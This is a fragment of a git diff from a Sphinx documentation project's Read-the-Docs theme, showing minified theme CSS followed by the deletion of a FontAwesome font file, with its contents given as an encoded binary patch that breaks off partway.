header,.wy-menu-vertical p.caption{height:32px;display:inline-block;line-height:32px;padding:0 1.618em;margin-bottom:0;display:block;font-weight:bold;text-transform:uppercase;font-size:80%;white-space:nowrap}.wy-menu-vertical ul{margin-bottom:0}.wy-menu-vertical li.divide-top{border-top:solid 1px #404040}.wy-menu-vertical li.divide-bottom{border-bottom:solid 1px #404040}.wy-menu-vertical li.current{background:#e3e3e3}.wy-menu-vertical li.current a{color:gray;border-right:solid 1px #c9c9c9;padding:.4045em 2.427em}.wy-menu-vertical li.current a:hover{background:#d6d6d6}.wy-menu-vertical li code,.wy-menu-vertical li .rst-content tt,.rst-content .wy-menu-vertical li tt{border:none;background:inherit;color:inherit;padding-left:0;padding-right:0}.wy-menu-vertical li span.toctree-expand{display:block;float:left;margin-left:-1.2em;font-size:.8em;line-height:1.6em;color:#4d4d4d}.wy-menu-vertical li.on a,.wy-menu-vertical li.current>a{color:#404040;padding:.4045em 1.618em;font-weight:bold;position:relative;background:#fcfcfc;border:none;padding-left:1.618em -4px}.wy-menu-vertical li.on a:hover,.wy-menu-vertical li.current>a:hover{background:#fcfcfc}.wy-menu-vertical li.on a:hover span.toctree-expand,.wy-menu-vertical li.current>a:hover span.toctree-expand{color:gray}.wy-menu-vertical li.on a span.toctree-expand,.wy-menu-vertical li.current>a span.toctree-expand{display:block;font-size:.8em;line-height:1.6em;color:#333}.wy-menu-vertical li.toctree-l1.current>a{border-bottom:solid 1px #c9c9c9;border-top:solid 1px #c9c9c9}.wy-menu-vertical li.toctree-l2 a,.wy-menu-vertical li.toctree-l3 a,.wy-menu-vertical li.toctree-l4 a{color:#404040}.wy-menu-vertical li.toctree-l1.current li.toctree-l2>ul,.wy-menu-vertical li.toctree-l2.current li.toctree-l3>ul{display:none}.wy-menu-vertical li.toctree-l1.current li.toctree-l2.current>ul,.wy-menu-vertical li.toctree-l2.current li.toctree-l3.current>ul{display:block}.wy-menu-vertical li.toctree-l2.current>a{background:#c9c9c9;padding:.4045em 2.427em}.wy-menu-vertical li.toctree-l2.current li.toctree-l3>a{display:block;background:#c9c9c9;padding:.4045em 4.045em}.wy-menu-vertical li.toctree-l2 a:hover span.toctree-expand{color:gray}.wy-menu-vertical li.toctree-l2 span.toctree-expand{color:#a3a3a3}.wy-menu-vertical li.toctree-l3{font-size:.9em}.wy-menu-vertical li.toctree-l3.current>a{background:#bdbdbd;padding:.4045em 4.045em}.wy-menu-vertical li.toctree-l3.current li.toctree-l4>a{display:block;background:#bdbdbd;padding:.4045em 5.663em}.wy-menu-vertical li.toctree-l3 a:hover span.toctree-expand{color:gray}.wy-menu-vertical li.toctree-l3 span.toctree-expand{color:#969696}.wy-menu-vertical li.toctree-l4{font-size:.9em}.wy-menu-vertical li.current ul{display:block}.wy-menu-vertical li ul{margin-bottom:0;display:none}.wy-menu-vertical li ul li a{margin-bottom:0;color:#d9d9d9;font-weight:normal}.wy-menu-vertical a{display:inline-block;line-height:18px;padding:.4045em 1.618em;display:block;position:relative;font-size:90%;color:#d9d9d9}.wy-menu-vertical a:hover{background-color:#4e4a4a;cursor:pointer}.wy-menu-vertical a:hover span.toctree-expand{color:#d9d9d9}.wy-menu-vertical a:active{background-color:#2980B9;cursor:pointer;color:#fff}.wy-menu-vertical a:active span.toctree-expand{color:#fff}.wy-side-nav-search{display:block;width:300px;padding:.809em;margin-bottom:.809em;z-index:200;background-color:#2980B9;text-align:center;padding:.809em;display:block;color:#fcfcfc;margin-bottom:.809em}.wy-side-nav-search input[type=text]{width:100%;border-radius:50px;padding:6px 12px;border-color:#2472a4}.wy-side-nav-search img{display:block;margin:auto auto .809em auto;height:45px;width:45px;background-color:#2980B9;padding:5px;border-radius:100%}.wy-side-nav-search>a,.wy-side-nav-search .wy-dropdown>a{color:#fcfcfc;font-size:100%;font-weight:bold;display:inline-block;padding:4px 6px;margin-bottom:.809em}.wy-side-nav-search>a:hover,.wy-side-nav-search .wy-dropdown>a:hover{background:rgba(255,255,255,0.1)}.wy-side-nav-search>a img.logo,.wy-side-nav-search .wy-dropdown>a img.logo{display:block;margin:0 auto;height:auto;width:auto;border-radius:0;max-width:100%;background:transparent}.wy-side-nav-search>a.icon img.logo,.wy-side-nav-search .wy-dropdown>a.icon img.logo{margin-top:.85em}.wy-side-nav-search>div.version{margin-top:-.4045em;margin-bottom:.809em;font-weight:normal;color:rgba(255,255,255,0.3)}.wy-nav .wy-menu-vertical header{color:#2980B9}.wy-nav .wy-menu-vertical a{color:#b3b3b3}.wy-nav .wy-menu-vertical a:hover{background-color:#2980B9;color:#fff}[data-menu-wrap]{-webkit-transition:all .2s ease-in;-moz-transition:all .2s ease-in;transition:all .2s ease-in;position:absolute;opacity:1;width:100%;opacity:0}[data-menu-wrap].move-center{left:0;right:auto;opacity:1}[data-menu-wrap].move-left{right:auto;left:-100%;opacity:0}[data-menu-wrap].move-right{right:-100%;left:auto;opacity:0}.wy-body-for-nav{background:#fcfcfc}.wy-grid-for-nav{position:absolute;width:100%;height:100%}.wy-nav-side{position:fixed;top:0;bottom:0;left:0;padding-bottom:2em;width:300px;overflow-x:hidden;overflow-y:hidden;min-height:100%;color:#9b9b9b;background:#343131;z-index:200}.wy-side-scroll{width:320px;position:relative;overflow-x:hidden;overflow-y:scroll;height:100%}.wy-nav-top{display:none;background:#2980B9;color:#fff;padding:.4045em .809em;position:relative;line-height:50px;text-align:center;font-size:100%;*zoom:1}.wy-nav-top:before,.wy-nav-top:after{display:table;content:""}.wy-nav-top:after{clear:both}.wy-nav-top a{color:#fff;font-weight:bold}.wy-nav-top img{margin-right:12px;height:45px;width:45px;background-color:#2980B9;padding:5px;border-radius:100%}.wy-nav-top i{font-size:30px;float:left;cursor:pointer;padding-top:inherit}.wy-nav-content-wrap{margin-left:300px;background:#fcfcfc;min-height:100%}.wy-nav-content{padding:1.618em 3.236em;height:100%;max-width:800px;margin:auto}.wy-body-mask{position:fixed;width:100%;height:100%;background:rgba(0,0,0,0.2);display:none;z-index:499}.wy-body-mask.on{display:block}footer{color:gray}footer p{margin-bottom:12px}footer span.commit code,footer span.commit .rst-content tt,.rst-content footer span.commit tt{padding:0px;font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",Courier,monospace;font-size:1em;background:none;border:none;color:gray}.rst-footer-buttons{*zoom:1}.rst-footer-buttons:before,.rst-footer-buttons:after{width:100%}.rst-footer-buttons:before,.rst-footer-buttons:after{display:table;content:""}.rst-footer-buttons:after{clear:both}.rst-breadcrumbs-buttons{margin-top:12px;*zoom:1}.rst-breadcrumbs-buttons:before,.rst-breadcrumbs-buttons:after{display:table;content:""}.rst-breadcrumbs-buttons:after{clear:both}#search-results .search li{margin-bottom:24px;border-bottom:solid 1px #e1e4e5;padding-bottom:24px}#search-results .search li:first-child{border-top:solid 1px #e1e4e5;padding-top:24px}#search-results .search li a{font-size:120%;margin-bottom:12px;display:inline-block}#search-results .context{color:gray;font-size:90%}@media screen and (max-width: 768px){.wy-body-for-nav{background:#fcfcfc}.wy-nav-top{display:block}.wy-nav-side{left:-300px}.wy-nav-side.shift{width:85%;left:0}.wy-side-scroll{width:auto}.wy-side-nav-search{width:auto}.wy-menu.wy-menu-vertical{width:auto}.wy-nav-content-wrap{margin-left:0}.wy-nav-content-wrap .wy-nav-content{padding:1.618em}.wy-nav-content-wrap.shift{position:fixed;min-width:100%;left:85%;top:0;height:100%;overflow:hidden}}@media screen and (min-width: 1100px){.wy-nav-content-wrap{background:rgba(0,0,0,0.05)}.wy-nav-content{margin:0;background:#fcfcfc}}@media print{.rst-versions,footer,.wy-nav-side{display:none}.wy-nav-content-wrap{margin-left:0}}.rst-versions{position:fixed;bottom:0;left:0;width:300px;color:#fcfcfc;background:#1f1d1d;font-family:"Lato","proxima-nova","Helvetica Neue",Arial,sans-serif;z-index:400}.rst-versions a{color:#2980B9;text-decoration:none}.rst-versions .rst-badge-small{display:none}.rst-versions .rst-current-version{padding:12px;background-color:#272525;display:block;text-align:right;font-size:90%;cursor:pointer;color:#27AE60;*zoom:1}.rst-versions .rst-current-version:before,.rst-versions .rst-current-version:after{display:table;content:""}.rst-versions .rst-current-version:after{clear:both}.rst-versions .rst-current-version .fa,.rst-versions .rst-current-version .wy-menu-vertical li span.toctree-expand,.wy-menu-vertical li .rst-versions .rst-current-version span.toctree-expand,.rst-versions .rst-current-version .rst-content .admonition-title,.rst-content .rst-versions .rst-current-version .admonition-title,.rst-versions .rst-current-version .rst-content h1 .headerlink,.rst-content h1 .rst-versions .rst-current-version .headerlink,.rst-versions .rst-current-version .rst-content h2 .headerlink,.rst-content h2 .rst-versions .rst-current-version .headerlink,.rst-versions .rst-current-version .rst-content h3 .headerlink,.rst-content h3 .rst-versions .rst-current-version .headerlink,.rst-versions .rst-current-version .rst-content h4 .headerlink,.rst-content h4 .rst-versions .rst-current-version .headerlink,.rst-versions .rst-current-version .rst-content h5 .headerlink,.rst-content h5 .rst-versions .rst-current-version .headerlink,.rst-versions .rst-current-version .rst-content h6 .headerlink,.rst-content h6 .rst-versions .rst-current-version .headerlink,.rst-versions .rst-current-version .rst-content dl dt .headerlink,.rst-content dl dt .rst-versions .rst-current-version .headerlink,.rst-versions .rst-current-version .rst-content p.caption .headerlink,.rst-content p.caption .rst-versions .rst-current-version .headerlink,.rst-versions .rst-current-version .rst-content table>caption .headerlink,.rst-content table>caption .rst-versions .rst-current-version .headerlink,.rst-versions .rst-current-version .rst-content tt.download span:first-child,.rst-content tt.download .rst-versions .rst-current-version span:first-child,.rst-versions .rst-current-version .rst-content code.download span:first-child,.rst-content code.download .rst-versions .rst-current-version span:first-child,.rst-versions .rst-current-version .icon{color:#fcfcfc}.rst-versions .rst-current-version .fa-book,.rst-versions .rst-current-version .icon-book{float:left}.rst-versions .rst-current-version .icon-book{float:left}.rst-versions .rst-current-version.rst-out-of-date{background-color:#E74C3C;color:#fff}.rst-versions .rst-current-version.rst-active-old-version{background-color:#F1C40F;color:#000}.rst-versions.shift-up{height:auto;max-height:100%}.rst-versions.shift-up .rst-other-versions{display:block}.rst-versions .rst-other-versions{font-size:90%;padding:12px;color:gray;display:none}.rst-versions .rst-other-versions hr{display:block;height:1px;border:0;margin:20px 0;padding:0;border-top:solid 1px #413d3d}.rst-versions .rst-other-versions dd{display:inline-block;margin:0}.rst-versions .rst-other-versions dd a{display:inline-block;padding:6px;color:#fcfcfc}.rst-versions.rst-badge{width:auto;bottom:20px;right:20px;left:auto;border:none;max-width:300px}.rst-versions.rst-badge .icon-book{float:none}.rst-versions.rst-badge .fa-book,.rst-versions.rst-badge .icon-book{float:none}.rst-versions.rst-badge.shift-up .rst-current-version{text-align:right}.rst-versions.rst-badge.shift-up .rst-current-version .fa-book,.rst-versions.rst-badge.shift-up .rst-current-version .icon-book{float:left}.rst-versions.rst-badge.shift-up .rst-current-version .icon-book{float:left}.rst-versions.rst-badge .rst-current-version{width:auto;height:30px;line-height:30px;padding:0 6px;display:block;text-align:center}@media screen and (max-width: 768px){.rst-versions{width:85%;display:none}.rst-versions.shift{display:block}}.rst-content img{max-width:100%;height:auto}.rst-content div.figure{margin-bottom:24px}.rst-content div.figure p.caption{font-style:italic}.rst-content div.figure p:last-child.caption{margin-bottom:0px}.rst-content div.figure.align-center{text-align:center}.rst-content .section>img,.rst-content .section>a>img{margin-bottom:24px}.rst-content abbr[title]{text-decoration:none}.rst-content.style-external-links a.reference.external:after{font-family:FontAwesome;content:"";color:#b3b3b3;vertical-align:super;font-size:60%;margin:0 .2em}.rst-content blockquote{margin-left:24px;line-height:24px;margin-bottom:24px}.rst-content pre.literal-block{white-space:pre;margin:0;padding:12px 12px;font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",Courier,monospace;display:block;overflow:auto}.rst-content pre.literal-block,.rst-content div[class^='highlight']{border:1px solid #e1e4e5;overflow-x:auto;margin:1px 0 24px 0}.rst-content pre.literal-block div[class^='highlight'],.rst-content div[class^='highlight'] div[class^='highlight']{padding:0px;border:none;margin:0}.rst-content div[class^='highlight'] td.code{width:100%}.rst-content .linenodiv pre{border-right:solid 1px #e6e9ea;margin:0;padding:12px 12px;font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",Courier,monospace;user-select:none;pointer-events:none}.rst-content div[class^='highlight'] pre{white-space:pre;margin:0;padding:12px 12px;display:block;overflow:auto}.rst-content div[class^='highlight'] pre .hll{display:block;margin:0 -12px;padding:0 12px}.rst-content pre.literal-block,.rst-content div[class^='highlight'] pre,.rst-content .linenodiv pre{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",Courier,monospace;font-size:12px;line-height:normal}@media print{.rst-content .codeblock,.rst-content div[class^='highlight'],.rst-content div[class^='highlight'] pre{white-space:pre-wrap}}.rst-content .note .last,.rst-content .attention .last,.rst-content .caution .last,.rst-content .danger .last,.rst-content .error .last,.rst-content .hint .last,.rst-content .important .last,.rst-content .tip .last,.rst-content .warning .last,.rst-content .seealso .last,.rst-content .admonition-todo .last,.rst-content .admonition .last{margin-bottom:0}.rst-content .admonition-title:before{margin-right:4px}.rst-content .admonition table{border-color:rgba(0,0,0,0.1)}.rst-content .admonition table td,.rst-content .admonition table th{background:transparent !important;border-color:rgba(0,0,0,0.1) !important}.rst-content .section ol.loweralpha,.rst-content .section ol.loweralpha li{list-style:lower-alpha}.rst-content .section ol.upperalpha,.rst-content .section ol.upperalpha li{list-style:upper-alpha}.rst-content .section ol p,.rst-content .section ul p{margin-bottom:12px}.rst-content .section ol p:last-child,.rst-content .section ul p:last-child{margin-bottom:24px}.rst-content .line-block{margin-left:0px;margin-bottom:24px;line-height:24px}.rst-content .line-block .line-block{margin-left:24px;margin-bottom:0px}.rst-content .topic-title{font-weight:bold;margin-bottom:12px}.rst-content .toc-backref{color:#404040}.rst-content .align-right{float:right;margin:0px 0px 24px 24px}.rst-content .align-left{float:left;margin:0px 24px 24px 0px}.rst-content .align-center{margin:auto}.rst-content .align-center:not(table){display:block}.rst-content h1 .headerlink,.rst-content h2 .headerlink,.rst-content .toctree-wrapper p.caption .headerlink,.rst-content h3 .headerlink,.rst-content h4 .headerlink,.rst-content h5 .headerlink,.rst-content h6 .headerlink,.rst-content dl dt .headerlink,.rst-content p.caption .headerlink,.rst-content table>caption .headerlink{visibility:hidden;font-size:14px}.rst-content h1 .headerlink:after,.rst-content h2 .headerlink:after,.rst-content .toctree-wrapper p.caption .headerlink:after,.rst-content h3 .headerlink:after,.rst-content h4 .headerlink:after,.rst-content h5 .headerlink:after,.rst-content h6 .headerlink:after,.rst-content dl dt .headerlink:after,.rst-content p.caption .headerlink:after,.rst-content table>caption .headerlink:after{content:"";font-family:FontAwesome}.rst-content h1:hover .headerlink:after,.rst-content h2:hover .headerlink:after,.rst-content .toctree-wrapper p.caption:hover .headerlink:after,.rst-content h3:hover .headerlink:after,.rst-content h4:hover .headerlink:after,.rst-content h5:hover .headerlink:after,.rst-content h6:hover .headerlink:after,.rst-content dl dt:hover .headerlink:after,.rst-content p.caption:hover .headerlink:after,.rst-content table>caption:hover .headerlink:after{visibility:visible}.rst-content table>caption .headerlink:after{font-size:12px}.rst-content .centered{text-align:center}.rst-content .sidebar{float:right;width:40%;display:block;margin:0 0 24px 24px;padding:24px;background:#f3f6f6;border:solid 1px #e1e4e5}.rst-content .sidebar p,.rst-content .sidebar ul,.rst-content .sidebar dl{font-size:90%}.rst-content .sidebar .last{margin-bottom:0}.rst-content .sidebar .sidebar-title{display:block;font-family:"Roboto Slab","ff-tisa-web-pro","Georgia",Arial,sans-serif;font-weight:bold;background:#e1e4e5;padding:6px 12px;margin:-24px;margin-bottom:24px;font-size:100%}.rst-content .highlighted{background:#F1C40F;display:inline-block;font-weight:bold;padding:0 6px}.rst-content .footnote-reference,.rst-content .citation-reference{vertical-align:baseline;position:relative;top:-0.4em;line-height:0;font-size:90%}.rst-content table.docutils.citation,.rst-content table.docutils.footnote{background:none;border:none;color:gray}.rst-content table.docutils.citation td,.rst-content table.docutils.citation tr,.rst-content table.docutils.footnote td,.rst-content table.docutils.footnote tr{border:none;background-color:transparent !important;white-space:normal}.rst-content table.docutils.citation td.label,.rst-content table.docutils.footnote td.label{padding-left:0;padding-right:0;vertical-align:top}.rst-content table.docutils.citation tt,.rst-content table.docutils.citation code,.rst-content table.docutils.footnote tt,.rst-content table.docutils.footnote code{color:#555}.rst-content .wy-table-responsive.citation,.rst-content .wy-table-responsive.footnote{margin-bottom:0}.rst-content .wy-table-responsive.citation+:not(.citation),.rst-content .wy-table-responsive.footnote+:not(.footnote){margin-top:24px}.rst-content .wy-table-responsive.citation:last-child,.rst-content .wy-table-responsive.footnote:last-child{margin-bottom:24px}.rst-content table.docutils th{border-color:#e1e4e5}.rst-content table.docutils td .last,.rst-content table.docutils td .last :last-child{margin-bottom:0}.rst-content table.field-list{border:none}.rst-content table.field-list td{border:none}.rst-content table.field-list td>strong{display:inline-block}.rst-content table.field-list .field-name{padding-right:10px;text-align:left;white-space:nowrap}.rst-content table.field-list .field-body{text-align:left}.rst-content tt,.rst-content tt,.rst-content code{color:#000;font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",Courier,monospace;padding:2px 5px}.rst-content tt big,.rst-content tt em,.rst-content tt big,.rst-content code big,.rst-content tt em,.rst-content code em{font-size:100% !important;line-height:normal}.rst-content tt.literal,.rst-content tt.literal,.rst-content code.literal{color:#E74C3C}.rst-content tt.xref,a .rst-content tt,.rst-content tt.xref,.rst-content code.xref,a .rst-content tt,a .rst-content code{font-weight:bold;color:#404040}.rst-content pre,.rst-content kbd,.rst-content samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",Courier,monospace}.rst-content a tt,.rst-content a tt,.rst-content a code{color:#2980B9}.rst-content dl{margin-bottom:24px}.rst-content dl dt{font-weight:bold;margin-bottom:12px}.rst-content dl p,.rst-content dl table,.rst-content dl ul,.rst-content dl ol{margin-bottom:12px !important}.rst-content dl dd{margin:0 0 12px 24px;line-height:24px}.rst-content dl:not(.docutils){margin-bottom:24px}.rst-content dl:not(.docutils) dt{display:table;margin:6px 0;font-size:90%;line-height:normal;background:#e7f2fa;color:#2980B9;border-top:solid 3px #6ab0de;padding:6px;position:relative}.rst-content dl:not(.docutils) dt:before{color:#6ab0de}.rst-content dl:not(.docutils) dt .headerlink{color:#404040;font-size:100% !important}.rst-content dl:not(.docutils) dl dt{margin-bottom:6px;border:none;border-left:solid 3px #ccc;background:#f0f0f0;color:#555}.rst-content dl:not(.docutils) dl dt .headerlink{color:#404040;font-size:100% !important}.rst-content dl:not(.docutils) dt:first-child{margin-top:0}.rst-content dl:not(.docutils) tt,.rst-content dl:not(.docutils) tt,.rst-content dl:not(.docutils) code{font-weight:bold}.rst-content dl:not(.docutils) tt.descname,.rst-content dl:not(.docutils) tt.descclassname,.rst-content dl:not(.docutils) tt.descname,.rst-content dl:not(.docutils) code.descname,.rst-content dl:not(.docutils) tt.descclassname,.rst-content dl:not(.docutils) code.descclassname{background-color:transparent;border:none;padding:0;font-size:100% !important}.rst-content dl:not(.docutils) tt.descname,.rst-content dl:not(.docutils) tt.descname,.rst-content dl:not(.docutils) code.descname{font-weight:bold}.rst-content dl:not(.docutils) .optional{display:inline-block;padding:0 4px;color:#000;font-weight:bold}.rst-content dl:not(.docutils) .property{display:inline-block;padding-right:8px}.rst-content .viewcode-link,.rst-content .viewcode-back{display:inline-block;color:#27AE60;font-size:80%;padding-left:24px}.rst-content .viewcode-back{display:block;float:right}.rst-content p.rubric{margin-bottom:12px;font-weight:bold}.rst-content tt.download,.rst-content code.download{background:inherit;padding:inherit;font-weight:normal;font-family:inherit;font-size:inherit;color:inherit;border:inherit;white-space:inherit}.rst-content tt.download span:first-child,.rst-content code.download span:first-child{-webkit-font-smoothing:subpixel-antialiased}.rst-content tt.download span:first-child:before,.rst-content code.download span:first-child:before{margin-right:4px}.rst-content .guilabel{border:1px solid #7fbbe3;background:#e7f2fa;font-size:80%;font-weight:700;border-radius:4px;padding:2.4px 6px;margin:auto 2px}.rst-content .versionmodified{font-style:italic}@media screen and (max-width: 480px){.rst-content .sidebar{width:100%}}span[id*='MathJax-Span']{color:#404040}.math{text-align:center}@font-face{font-family:"Lato";src:url("../fonts/Lato/lato-regular.eot");src:url("../fonts/Lato/lato-regular.eot?#iefix") format("embedded-opentype"),url("../fonts/Lato/lato-regular.woff2") format("woff2"),url("../fonts/Lato/lato-regular.woff") format("woff"),url("../fonts/Lato/lato-regular.ttf") format("truetype");font-weight:400;font-style:normal}@font-face{font-family:"Lato";src:url("../fonts/Lato/lato-bold.eot");src:url("../fonts/Lato/lato-bold.eot?#iefix") format("embedded-opentype"),url("../fonts/Lato/lato-bold.woff2") format("woff2"),url("../fonts/Lato/lato-bold.woff") format("woff"),url("../fonts/Lato/lato-bold.ttf") format("truetype");font-weight:700;font-style:normal}@font-face{font-family:"Lato";src:url("../fonts/Lato/lato-bolditalic.eot");src:url("../fonts/Lato/lato-bolditalic.eot?#iefix") format("embedded-opentype"),url("../fonts/Lato/lato-bolditalic.woff2") format("woff2"),url("../fonts/Lato/lato-bolditalic.woff") format("woff"),url("../fonts/Lato/lato-bolditalic.ttf") format("truetype");font-weight:700;font-style:italic}@font-face{font-family:"Lato";src:url("../fonts/Lato/lato-italic.eot");src:url("../fonts/Lato/lato-italic.eot?#iefix") format("embedded-opentype"),url("../fonts/Lato/lato-italic.woff2") format("woff2"),url("../fonts/Lato/lato-italic.woff") format("woff"),url("../fonts/Lato/lato-italic.ttf") format("truetype");font-weight:400;font-style:italic}@font-face{font-family:"Roboto Slab";font-style:normal;font-weight:400;src:url("../fonts/RobotoSlab/roboto-slab.eot");src:url("../fonts/RobotoSlab/roboto-slab-v7-regular.eot?#iefix") format("embedded-opentype"),url("../fonts/RobotoSlab/roboto-slab-v7-regular.woff2") format("woff2"),url("../fonts/RobotoSlab/roboto-slab-v7-regular.woff") format("woff"),url("../fonts/RobotoSlab/roboto-slab-v7-regular.ttf") format("truetype")}@font-face{font-family:"Roboto Slab";font-style:normal;font-weight:700;src:url("../fonts/RobotoSlab/roboto-slab-v7-bold.eot");src:url("../fonts/RobotoSlab/roboto-slab-v7-bold.eot?#iefix") format("embedded-opentype"),url("../fonts/RobotoSlab/roboto-slab-v7-bold.woff2") format("woff2"),url("../fonts/RobotoSlab/roboto-slab-v7-bold.woff") format("woff"),url("../fonts/RobotoSlab/roboto-slab-v7-bold.ttf") format("truetype")}
diff --git a/_build/_themes/sphinx_rtd_theme/static/fonts/FontAwesome.otf b/_build/_themes/sphinx_rtd_theme/static/fonts/FontAwesome.otf
deleted file mode 100755
index 401ec0f36e4f73b8efa40bd6f604fe80d286db70..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 134808
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
